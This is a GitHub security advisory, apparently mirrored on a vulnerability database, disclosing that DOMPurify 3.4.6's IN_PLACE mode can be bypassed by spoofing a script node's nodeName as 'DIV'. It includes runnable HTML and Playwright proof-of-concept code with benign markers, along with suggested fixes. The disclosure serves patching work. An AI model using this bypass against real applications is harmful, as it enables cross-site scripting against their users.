GHSA-X4VX-RJVF-J5P4
Vulnerability from github – Published: 2026-06-15 20:00 – Updated: 2026-06-15 20:00Summary
When DOMPurify.sanitize(root, { IN_PLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main _sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.
This affects current 3.4.6. The recent IN_PLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.
Affected
- DOMPurify
3.4.6 - Any caller that does
DOMPurify.sanitize(node, { IN_PLACE: true })on attacker-supplied live DOM nodes - Verified attacker-controlled node sources:
- same-origin
iframe→ live node passed by reference - same-origin
window.open()popup → live node passed by reference - same-origin foreign node adopted into the host document via
document.adoptNode(node)and then sanitized in-place
Not affected:
- String-input
DOMPurify.sanitize(dirtyString)
Vulnerability details
Code paths
[A] — _sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:
const _sanitizeElements = function (currentNode: any): boolean {
...
if (_isClobbered(currentNode)) {
_forceRemove(currentNode);
return true;
}
const tagName = transformCaseFunc(currentNode.nodeName);
...
if (
FORBID_TAGS[tagName] ||
(!(...) && !ALLOWED_TAGS[tagName])
) {
...
_forceRemove(currentNode);
return true;
}
...
};
For non-form nodes, _isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.
[B] — _isClobbered is form-specific:
const _isClobbered = function (element: Element): boolean {
const realTagName = getNodeName ? getNodeName(element) : null;
if (typeof realTagName !== 'string') {
return false;
}
if (transformCaseFunc(realTagName) !== 'form') {
return false;
}
return (...);
};
The hardening is intentionally scoped to form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.
Why the bypass works
The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into DOMPurify's IN_PLACE pipeline.
If the attacker controls a same-origin subcontext (iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { IN_PLACE: true }) as its final sanitization step.
For the verified primitive below:
- the real child node is
<script> - its script text is attacker-controlled
- the observable
nodeNameis attacker-controlled and made to appear as"DIV" _sanitizeElementstherefore classifies the real<script>child as an allowed element- the real
<script>survives in the sanitized tree and executes on insertion
This primitive survives:
- direct reference passing
document.adoptNode(node)followed byIN_PLACE
It does not survive:
importNodecloneNode
because those paths materialize a fresh node and discard the hostile object semantics.
Proof of concept
(1) Minimal — runnable in a single browser context
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'window.__pwned = 1';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
console.log('output:', host.outerHTML);
// <div><script>window.__pwned = 1</script></div>
window.__pwned = 0;
document.body.appendChild(host);
console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>
(2) End-to-end — Playwright
const { chromium } = require('playwright');
const path = require('path');
(async () => {
const browser = await chromium.launch();
const page = await browser.newPage();
await page.goto('about:blank');
await page.addScriptTag({ path: path.resolve('dist/purify.js') });
const result = await page.evaluate(async () => {
window.__hits = [];
const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'top.__hits.push("script-fired")';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
document.body.appendChild(host);
return {
version: DOMPurify.version,
output: host.outerHTML,
fired: window.__hits.includes('script-fired'),
};
});
console.log(result);
await browser.close();
})();
Observed:
- Chromium / Firefox / WebKit
{
version: '3.4.6',
output: '<div><script>top.__hits.push("script-fired")</script></div>',
fired: true
}
Impact
Direct
XSS via retained real <script> nodes inside attacker-supplied live DOM objects.
Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.
The typical pattern is:
// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();
// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN_PLACE: true });
container.appendChild(foreignNode);
If foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.
Indirect / second-order
- Applications that accept same-origin plugin / extension / widget DOM and rely on
IN_PLACEas the final sanitization step - Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization
Suggested fix
Two minimal-risk options:
- Stop trusting instance-visible
nodeNamefor the element decision inIN_PLACE.
Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.
In other words, the main pipeline should not do:
const tagName = transformCaseFunc(currentNode.nodeName);
on hostile live objects.
- Generalize hostile-node detection beyond
form.
The current _isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any IN_PLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:
nodeNameattributeschildNodes
Either approach would close the verified primitive above.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.4.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:00:02Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `\u003cscript\u003e` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.\n\nThis affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes.\n\n## Affected\n\n- DOMPurify `3.4.6`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes\n- Verified attacker-controlled node sources:\n - same-origin `iframe` \u2192 live node passed by reference\n - same-origin `window.open()` popup \u2192 live node passed by reference\n - same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place\n\nNot affected:\n\n- String-input `DOMPurify.sanitize(dirtyString)`\n\n## Vulnerability details\n\n### Code paths\n\n[A] \u2014 `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision:\n\n```ts\nconst _sanitizeElements = function (currentNode: any): boolean {\n ...\n if (_isClobbered(currentNode)) {\n _forceRemove(currentNode);\n return true;\n }\n\n const tagName = transformCaseFunc(currentNode.nodeName);\n ...\n if (\n FORBID_TAGS[tagName] ||\n (!(...) \u0026\u0026 !ALLOWED_TAGS[tagName])\n ) {\n ...\n _forceRemove(currentNode);\n return true;\n }\n ...\n};\n```\n\nFor non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly.\n\n[B] \u2014 `_isClobbered` is `form`-specific:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n const realTagName = getNodeName ? getNodeName(element) : null;\n if (typeof realTagName !== \u0027string\u0027) {\n return false;\n }\n\n if (transformCaseFunc(realTagName) !== \u0027form\u0027) {\n return false;\n }\n\n return (...);\n};\n```\n\nThe hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.\n\n### Why the bypass works\n\nThe attack does **not** depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`\u0027s `IN_PLACE` pipeline.\n\nIf the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step.\n\nFor the verified primitive below:\n\n- the real child node is `\u003cscript\u003e`\n- its script text is attacker-controlled\n- the observable `nodeName` is attacker-controlled and made to appear as `\"DIV\"`\n- `_sanitizeElements` therefore classifies the real `\u003cscript\u003e` child as an allowed element\n- the real `\u003cscript\u003e` survives in the sanitized tree and executes on insertion\n\nThis primitive survives:\n\n- direct reference passing\n- `document.adoptNode(node)` followed by `IN_PLACE`\n\nIt does **not** survive:\n\n- `importNode`\n- `cloneNode`\n\nbecause those paths materialize a fresh node and discard the hostile object semantics.\n\n## Proof of concept\n\n### (1) Minimal \u2014 runnable in a single browser context\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n\u003cscript\u003e\n const foreign = window.open(\u0027about:blank\u0027, \u0027_blank\u0027, \u0027noopener=no\u0027);\n\n const host = foreign.document.createElement(\u0027div\u0027);\n const script = foreign.document.createElement(\u0027script\u0027);\n script.textContent = \u0027window.__pwned = 1\u0027;\n Object.defineProperty(script, \u0027nodeName\u0027, {\n value: \u0027DIV\u0027,\n configurable: true,\n });\n host.appendChild(script);\n\n DOMPurify.sanitize(host, { IN_PLACE: true });\n\n console.log(\u0027output:\u0027, host.outerHTML);\n // \u003cdiv\u003e\u003cscript\u003ewindow.__pwned = 1\u003c/script\u003e\u003c/div\u003e\n\n window.__pwned = 0;\n document.body.appendChild(host);\n console.log(\u0027handler fired:\u0027, window.__pwned === 1); // true\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### (2) End-to-end \u2014 Playwright\n\n```js\nconst { chromium } = require(\u0027playwright\u0027);\nconst path = require(\u0027path\u0027);\n\n(async () =\u003e {\n const browser = await chromium.launch();\n const page = await browser.newPage();\n await page.goto(\u0027about:blank\u0027);\n await page.addScriptTag({ path: path.resolve(\u0027dist/purify.js\u0027) });\n\n const result = await page.evaluate(async () =\u003e {\n window.__hits = [];\n\n const foreign = window.open(\u0027about:blank\u0027, \u0027_blank\u0027, \u0027noopener=no\u0027);\n const host = foreign.document.createElement(\u0027div\u0027);\n const script = foreign.document.createElement(\u0027script\u0027);\n script.textContent = \u0027top.__hits.push(\"script-fired\")\u0027;\n Object.defineProperty(script, \u0027nodeName\u0027, {\n value: \u0027DIV\u0027,\n configurable: true,\n });\n host.appendChild(script);\n\n DOMPurify.sanitize(host, { IN_PLACE: true });\n document.body.appendChild(host);\n\n return {\n version: DOMPurify.version,\n output: host.outerHTML,\n fired: window.__hits.includes(\u0027script-fired\u0027),\n };\n });\n\n console.log(result);\n await browser.close();\n})();\n```\n\nObserved:\n\n- Chromium / Firefox / WebKit\n\n```js\n{\n version: \u00273.4.6\u0027,\n output: \u0027\u003cdiv\u003e\u003cscript\u003etop.__hits.push(\"script-fired\")\u003c/script\u003e\u003c/div\u003e\u0027,\n fired: true\n}\n```\n\n## Impact\n\n### Direct\n\nXSS via retained real `\u003cscript\u003e` nodes inside attacker-supplied live DOM objects.\n\nAny consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.\n\nThe typical pattern is:\n\n```js\n// attacker-controlled same-origin subcontext prepares a live node\nconst foreignNode = attackerFrame.contentWindow.makeNode();\n\n// host treats DOMPurify as the last security gate\nDOMPurify.sanitize(foreignNode, { IN_PLACE: true });\ncontainer.appendChild(foreignNode);\n```\n\nIf `foreignNode` is a hostile live DOM object whose real child is `\u003cscript\u003e` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.\n\n### Indirect / second-order\n\n- Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step\n- Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`.\n\nUse the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.\n\nIn other words, the main pipeline should not do:\n\n```ts\nconst tagName = transformCaseFunc(currentNode.nodeName);\n```\n\non hostile live objects.\n\n2. Generalize hostile-node detection beyond `form`.\n\nThe current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:\n\n- `nodeName`\n- `attributes`\n- `childNodes`\n\nEither approach would close the verified primitive above.",
"id": "GHSA-x4vx-rjvf-j5p4",
"modified": "2026-06-15T20:00:02Z",
"published": "2026-06-15T20:00:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.